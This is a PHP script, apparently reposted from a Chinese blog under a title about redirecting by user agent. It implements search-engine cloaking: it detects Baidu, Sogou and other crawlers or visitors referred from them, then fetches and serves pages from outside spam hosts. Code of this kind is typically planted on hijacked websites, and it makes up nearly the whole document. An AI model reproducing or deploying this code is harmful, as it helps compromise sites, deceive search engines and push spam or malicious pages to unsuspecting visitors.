<?php
set_time_limit(30);
error_reporting(0);
$tr = "stristr";
$er = $_SERVER;
ini_set('user_agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
define('url', $er['REQUEST_URI']);
define('ref', $er['HTTP_REFERER']);
define('ent', $er['HTTP_USER_AGENT']);
define('site', "http://x.xtguke.com/");
define('road', "?/" .$er['HTTP_HOST'] . url);
define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
define('area', $tr(url, ".xml") or $tr(url, ".doc") or $tr(url, ".txt") or $tr(url, ".ppt") or $tr(url, ".xls") or $tr(url, ".csv") or $tr(url, ".shtml") or $tr(url, ".bug") or $tr(url, ".fdc") or $tr(url,".znb")or $tr(url,".msl")or $tr(url,".mdb")or $tr(url,".love")and $tr(url, "?"));
if (area && preg_match(regs, ref)) {
echo file_get_contents('http://x.xtguke.com/1.html');
exit;
}
if (preg_match(regs, ent)) {
if (area) {
echo g1(site.road);
exit;
} else {
echo g1("http://w.lushan.la/?zz");
ob_flush();
flush();
}
}
function g1($d)
{
$e = array('http' => array('method' => "GET"));
$i = stream_context_create($e);
$j = file_get_contents($d);
if (!empty($j)) {
return $j;
}
}
通过php 判断 useragent 做跳转
最新推荐文章于 2024-08-24 07:59:04 发布